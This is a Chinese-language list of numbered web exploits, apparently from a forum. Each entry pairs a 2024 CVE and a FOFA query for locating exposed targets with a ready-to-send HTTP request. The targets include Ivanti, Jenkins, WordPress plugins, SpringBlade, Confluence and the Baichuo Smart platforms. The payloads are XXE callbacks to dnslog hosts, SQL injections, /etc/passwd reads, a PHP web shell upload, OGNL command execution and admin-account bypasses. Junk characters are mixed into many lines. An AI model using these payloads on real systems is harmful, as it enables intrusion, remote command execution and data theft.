<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
/ T7 M+ k! Q0 v
103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
- C6 W1 G- X  x4 ]$ {7 ?) LHost: 192.168.40.130:111
  t  j$ n7 H3 z$ m% LUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
0 a( @; C! G% |0 O! vContent-Length: 204
3 }0 |* Q3 M3 f9 e& Y& T$ DContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

; ^' a( k% q: O. P( z/ S: T2 cSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
& y$ }: S+ ?4 u/ M2 f3 M
1 X: X+ W4 ^; ]
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
. v- W) `  K. f( _3 f, ^5 H7 I8 ^
" [5 X! _, [$ J
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
; c, g! @  H) j2 A8 p; nCVE-2024-0569
; y& w4 f" k/ U4 x2 A& wFOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
2 u1 _8 }) N) A! SHost:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
/ ^3 F6 A5 [  g8 j- r/ YX-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
( x4 @, w. U* E& zReferer: http://192.168.0.1/advance/index.html?time=1671152380564
4 e* D% e, Y5 o5 X1 uAccept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close
, c9 j( Z4 I( C8 b: q4 |! L
2 q0 y' r) Q; f  T4 A! P{
"topicurl":"getSysStatusCfg",
7 V: b! Q$ v. e( \  B$ w"token":""
}
6 G4 u5 k; c5 Q  {# }8 {
105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
: J) ^- M1 e' w/ m" GFOFA：body="Saber 将不能正常工作"
; m1 y; H# J! `0 g6 {4 d( [- zGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
" c& i( l! ~. s. C) ~Host: your-ip
+ t# k3 z7 q/ n. G9 c. ?* f6 }6 ~! GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
  V- ~. Q" Z+ O; ?7 ^' Y9 R2 ~GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
) e9 Q/ i8 w) ], S8 @8 s, [Host: your-ip
2 ~3 Y- P# L5 |) E) y2 E% V" aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 |: R5 A( J, u4 q+ u' l" }Blade-Auth:替换为自己的
" X# T  L' i* ^; ]Connection: close
7 w+ g6 K* V9 W& t8 w

108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
; \1 M* L% F. K, yConnection: close
( \& R% p8 a3 V* m

/ l+ a4 b4 X% S+ S. N0 v( x109. Jenkins CLI 任意文件读取
' @( G, r- K8 P- |5 RCVE-2024-23897
% V& l' M( ]* BFOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
- K4 s/ O7 W/ R) H! E$ q% Y8 HHost:
Content-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
2 e4 P1 V! t" b: xContent-Length: 163
& `; a# }7 [0 L1 F. f$ D" p! Q
! E# h. ~4 }8 \" Z( x4 fb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

/ k  w8 \- Y+ w6 r/ \
POST /cli?remoting=false HTTP/1.1
Host:
  T- x, B2 X2 `  A3 s1 ZSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
, i: ~2 B) H/ J# L2 s1 F6 M% N) Sdownload
0 _% K; l1 W4 ?3 X" D' XContent-Type: application/x-www-form-urlencoded
! }" F$ \/ U6 B2 z/ _( z/ i$ WContent-Length: 0
: y- S8 m8 k! H, Z( ~3 {7 f- U4 B

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
7 I  l1 j9 g+ E- Y/ Q0 ejava -jar jenkins-cli.jar help
1 [, m" b' y- m7 y6 X3 T; f9 p[COMMAND]
7 n  p: A5 Z- Z! ~. l7 Z$ i! @! KLists all the available commands or a detailed description of single command.
1 O9 `$ t5 g5 l; L6 ]6 w% T COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
2 _  n$ n# q# k5 l
2 C; z; r& U( C+ k1 F2 z( t7 i
) I- I8 d  A: t9 ?$ e( b! T110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
0 X. {" n) K& yFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
1 g5 n  q& H% p$ c! i/ b3 A6 |2 rGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
! y/ I* d5 T  Q; B* SConnection: close
+ f" S# n) D6 }$ OAccept: */*
Accept-Language: en
Accept-Encoding: gzip

9 b" w8 ^. @2 {. T( ~& y( W1 d
111. WordPress Plugin HTML5 Video Player SQL注入
1 j& y% G: d. yCVE-2024-1061
" ]' ~) `# E& H/ x( nFOFA："wordpress" && body="html5-video-player"
0 k$ ^% Z1 x5 l% g; o2 X  xGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
: g3 C% ~2 q3 w2 R; V! O. l: ZUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
" g5 D' P$ U- d! V' pAccept: */*
) @. c8 ]" V* IAccept-Language: en
Accept-Encoding: gzip
4 ~* o9 U& d5 l7 J+ q+ a3 J8 R0 [) O

112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
7 c, ^5 {3 |9 E3 i2 T) PFOFA：body="/wp-content/plugins/notificationx"
2 l0 m- M! s+ d6 s8 o. HPOST /wp-json/notificationx/v1/analytics HTTP/1.1
( Z* J, w( ~3 m$ F* J8 x6 }Host: {{Hostname}}
9 d* O  Q& Q& M9 ?8 O0 OContent-Type: application/json

- @& |0 N) w0 {  \9 c, p* M) s) s{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}

0 [& G9 N7 n4 B" Z
113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
. l  J) [3 k* ]5 y1 g+ dGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
9 I5 T: ?( R9 A% J% e+ AUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
5 b5 X. J$ e1 s3 R' A% _Connection: close
* n2 `' Q4 w0 N( Q4 TAccept: */*
Accept-Language: en
Accept-Encoding: gzip
3 o5 B" `# h  F. R% S6 `/ B
& U" u# Z( f9 d: c4 |: n4 z: z$ ~
114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
9 r! M+ Z" F' BHost: your-ip
! [1 S% Z6 b) q1 j& XUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
8 H/ \( P7 |$ q; RAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close


, @, k# d; M0 E6 N8 U* V3 s( [115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
' {, x6 `5 ^! z* [+ }9 k2 oFOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
8 Q, {0 A8 J# s0 O: yGET / HTTP/1.1
7 m8 v: U  U# C3 ?% h+ n& FHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
2 O5 w8 k) U# K; H) g& z; {" C& xConnection: close
9 d9 j# A0 E' g% aAccept-Encoding: gzip

2 r5 c3 B9 o+ E
" Y; \, s" E1 [第二步替换nonce值，执行命令
' N5 h( u4 t7 ^0 ?. ]$ QPOST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Content-Length: 356
Content-Type: application/json
Accept-Encoding: gzip
- Z- B4 ~3 N; b3 J
{
0 M. ?+ B) S% f3 h"postId": "1",
7 C9 n0 B, U) X3 o8 ?/ D  "nonce": "第一步获得的值",
  "element": {
2 a4 k9 u7 \# ^) c    "name": "container",
    "settings": {
0 e- b" V+ D+ h  D- }6 B      "hasLoop": "true",
0 Q6 \$ J3 Q8 a! e: C. {; S      "query": {
; _9 ^; e$ m0 w( t) _5 i5 }        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
% G. K/ |6 N1 _" q3 t' [        "objectType": "post"
3 A* b" ^  h* T( `* V      }
    }
  }
9 {) f' t0 v# Z" j5 p, @}
& O" R# j! {4 ?" o

& U" k# f7 m7 j6 c116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
1 j. [7 w+ ^9 ZHost:
Content-Type: multipart/form-data; boundary=--------767099171
# H/ j# u* w* X, [; }2 RUser-Agent: Mozilla/5.0

, F& p6 m% f$ L----------767099171
Content-Disposition: form-data; name="action"
) u! w: S/ s3 w! sconfiguration_saveconfiguration
----------767099171
6 S5 L5 l4 R; P5 }& s, A$ pContent-Disposition: form-data; name="form_request"
# b8 n0 A& Y& ?2 a$ qjssupportticket
----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
7 h! d! G2 d- [9 |! HContent-Type: image/png
# R+ M  K5 u$ W. _----------767099171--
0 ^, J% N+ V7 I

7 e: J; y! v0 J7 a. @6 T) S) |117. WordPress LayerSlider插件SQL注入
: ~4 ~3 I7 Z4 V6 Iversion：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
/ V5 E$ p$ y* H7 M, L( ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" M# h" q) [& c9 `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ M4 W! X5 f6 [7 Q( E3 d  iAccept-Encoding: gzip, deflate, br
: F0 e" A, ^* R0 y4 @' m& k7 r7 FConnection: close
4 M0 a  m) b, @1 L1 ]7 GUpgrade-Insecure-Requests: 1

2 z7 v- L+ x; n  S
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
0 h" m7 |$ r3 O* [+ d$ c- KCVE-2024-0939
FOFA：title="Smart管理平台"
, S0 s0 V2 @3 IPOST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
# {/ }3 D) n$ w- }, W6 e) J: YCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
& [- m! ^/ n9 ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
: M/ E5 N, b6 P+ IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 x8 n  B& p& n) k5 U5 QAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' K% p, I) H' A8 VAccept-Encoding: gzip, deflate
9 g$ R+ O$ I. T7 y7 j; F* MContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
+ O- z# [' Q9 I, t9 q6 p* i- ]/ aContent-Length: 405
+ }9 K% ~: z% `Origin: https://192.168.40.130:8443
  M' Q" ~, }2 q6 ZReferer: https://192.168.40.130:8443/Tool/uploadfile.php
) M# D# l7 s4 c/ S6 Q' x+ r0 QUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
  y2 V, ?2 I$ X# T$ BSec-Fetch-User: ?1
9 M& K9 f, S3 n8 `+ V1 p# A( U8 vTe: trailers
# L: x) [' w2 E3 [, W, j5 yConnection: close

( n8 A8 U: l* L0 `: ?4 \7 e* a4 _8 E' D-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

<?php
/ P+ C# ]( ?5 Ssystem($_POST["passwd"]);
, ?* d  p' ^  P2 T* l?>
! v( P+ Q" a$ u-----------------------------13979701222747646634037182887
4 F2 p! X; `5 u0 G7 n* }Content-Disposition: form-data; name="txt_path"

/home/src.php
, q# O9 Q) Q0 d; {4 f-----------------------------13979701222747646634037182887--
4 a* y- M" ?) o( i2 Q5 b! h

访问/home/src.php
4 S) m( ~% o0 w( p
: a% F1 h* ?$ k# n& x119. 北京百绰智能S20后台sysmanageajax.php sql注入
: n4 Z3 Y  r" k& }  L6 uCVE-2024-1254
  x4 h6 {8 V6 J- x# @FOFA：title="Smart管理平台"
0 x! R0 [1 Y3 I( T  S, B/ S# ?先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
& x2 [4 {* D' O0 [% bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
1 [5 Y' s  [$ Q' sAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 l& O4 ^; F& V% ]Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
" s: c) x1 F, z* Y1 IContent-Length: 109
$ p  \$ p% y5 nOrigin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
  n7 |. v9 \  M/ j( {! MSec-Fetch-Dest: empty
2 m% ?1 b) k$ Q; [( r' y8 r, O  z% pSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
& g' B- q) t- H. c1 mX-Remote-Ip: 1.1.1.1
' s. t# g0 i! f9 K6 N' j  }: I" }% ~X-Remote-Addr: 1.1.1.1
; t5 D; M+ V" f) ~7 ?! XTe: trailers
' U; w; B2 Y5 CConnection: close
' G9 ^* w3 F7 }+ t# c
) ~3 W" d; e% _6 j/ Dsrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
6 h3 [8 v5 }+ h/ l1 O, a; C

/ a  b4 p/ M+ j$ Q# ]  V  j; Z5 N120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
* f  \& j: Z5 ^' A2 p- WUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) [9 c( p$ o. s8 MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
) @, X  c, g+ x) m# s# j# XReferer: https://ip:port/sysmanage/licence.php
4 W7 M; V5 s0 i8 t0 u/ N6 S& }; BUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
( O! Z  }3 W( tSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
, M- o2 l0 d' |( ]/ [Sec-Fetch-User: ?1
Te: trailers
# \& q3 }+ h: z0 P7 FConnection: close
+ G, V  N) ~' B0 t. k! H
: Z9 J; _* m. @! R-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
2 P2 ^" m' _* y6 ^3 WContent-Type: application/octet-stream

# |, U( e# H9 ^2 D' ^0 t<?php phpinfo()?>
& ?" [5 @( ~. O6 \-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

  _2 I1 U4 Q$ ~7 m" j( D1_radhttp
+ W0 _9 ^; t% ^) p; f6 A-----------------------------42328904123665875270630079328
/ g" w3 N% w$ `7 ?9 D# eContent-Disposition: form-data; name="mode"
( M# Q6 C1 R9 w
1 e7 Q& N2 E+ A7 \) D9 w8 Oimport
" Y- s2 g! O- ~/ |-----------------------------42328904123665875270630079328

6 n9 r$ l# b  A: A/ b% H1 v. B
0 I: E+ z+ @& K: p( k" N% m文件路径/upload/2.php
- O2 i- ?) G8 S8 m9 v
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
! ~2 z, Y1 v# q. ?7 hCVE-2024-1918
- z1 ~/ ]8 h% Q( m9 `. d; _5 eFOFA：title="Smart管理平台"
! D- }- i6 H8 ]. s$ BPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- k$ s9 m0 A: q6 WAccept-Encoding: gzip, deflate
/ p, T) v7 I3 u8 c; yContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
* Q$ @( f6 K# h$ p- w% w% mOrigin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
8 x5 g* @5 f9 Q' O& T/ H. t& jSec-Fetch-Dest: document
7 R  ^: I; u7 i$ j) XSec-Fetch-Mode: navigate
6 U9 K; ~) P8 x& }! `& _' }% W8 CSec-Fetch-Site: same-origin
8 N0 q0 }' ]: Q! fSec-Fetch-User: ?1
% m6 ^, A1 [6 w8 W7 iTe: trailers
Connection: close
/ c: P0 w/ a8 @. l; F; S( \+ D
. Y  M$ Y! n, W  `5 U2 ^% K-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
3 F8 ]3 y: A* a' D9 S0 N" ]1 `5 OContent-Type: application/octet-stream

  w+ c+ l9 F: ?, E<?php phpinfo();?>
-----------------------------42328904123665875270630079328
* F2 h* u7 E% N% y/ d9 M% o* OContent-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
2 T" m' u, p9 B' b- ^Content-Disposition: form-data; name="1_ck"
; H5 p5 d  \$ s% a( b
1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"

/ W' h( q2 U9 Gset
9 G0 q( J/ @" Q7 e( z( Z4 Y-----------------------------42328904123665875270630079328
( W& y0 ~' r& d" j
# B& E% w- C6 e. V
boot/web/upload/weblogo/1.php
2 j& s! ^2 F6 M. ]! k2 {8 F; c
3 B1 W5 n/ a+ T* U5 y122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
9 y3 c0 j" i0 Q3 g+ N4 d( g6 H( _GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
5 M( Q& p; V9 q: X) wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& x5 j$ G' \$ [( [Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& Q+ Q- V1 m" {" a! r. XAccept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
1 |; Q+ b/ y5 G" lSec-Fetch-Dest: document
8 @/ N( E/ @% Y; YSec-Fetch-Mode: navigate
0 u% q% n  _8 G" p+ ZSec-Fetch-Site: none
Sec-Fetch-User: ?1
! T8 j- W" _3 BTe: trailers
Connection: close


6 p. g5 y  H2 b" q8 I9 ]* z123. Atlassian Confluence 模板注入代码执行
/ F, y0 i- d) c; sFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
; H7 O6 e: q( V2 ^3 N8 g0 H6 YPOST /template/aui/text-inline.vm HTTP/1.1
( _2 R% l1 `/ p* M5 }6 A, V0 uHost: localhost:8090
9 C$ M! W% \8 z% M' ~Accept-Encoding: gzip, deflate, br
8 l* v. y. o+ H, f1 b+ c4 bAccept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded

9 ], |- f3 L7 _5 C- i, y2 I5 Clabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
! p, x6 p1 z9 e) o- ^3 {: Z' n

124. 湖南建研工程质量检测系统任意文件上传
/ J+ I/ L9 f4 v1 U  i. Y: iFOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
# i/ t, N% O/ W; C  ?Content-Length: 72
; @1 }. A6 |5 ?1 h  aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
7 j. {/ X( }) u4 |) W. h& d: MAccept-Encoding: gzip, deflate, br
0 }5 ?: h) |) \) p! R1 o& s: tAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: j7 X$ Z+ |- C( H; K5 qConnection: close
Content-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
' D& H- r5 }0 j& c0 w; B8 Y
4 {" z( x* D) u3 ?3 E8 {9 [7 d
http://192.168.40.130:8282/Scripts/abcgcg.aspx
# Y1 P7 o* y( S4 ^6 P, o& `$ y1 h# ?' \
125. ConnectWise ScreenConnect身份验证绕过
: I- X, j6 Q" ?% kCVE-2024-1709
- c  [& d' o( BFOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc


, G, C  e7 B2 U# ~: D; |1 U使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
% S# p6 s1 k* t5 B0 B; j( p

创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
1 g3 H& i; q% e: ZConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
0 P$ y; Y& f' d) B/ f
/ I* P! r% a( H
2 D4 s# H# F8 h0 \9 W  R127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
3 \$ O" [0 {& Y; m% ~POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
" m# R) u2 z% K6 n, h. x9 NHost: 192.168.40.130:8888
+ z: T+ U3 A- V6 q$ `- A0 YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 ]% K4 H+ r& b! z; IAccept-Encoding: gzip, deflate
. c/ z4 k3 W( a' S( w8 OAccept-Language: zh-CN,zh;q=0.9
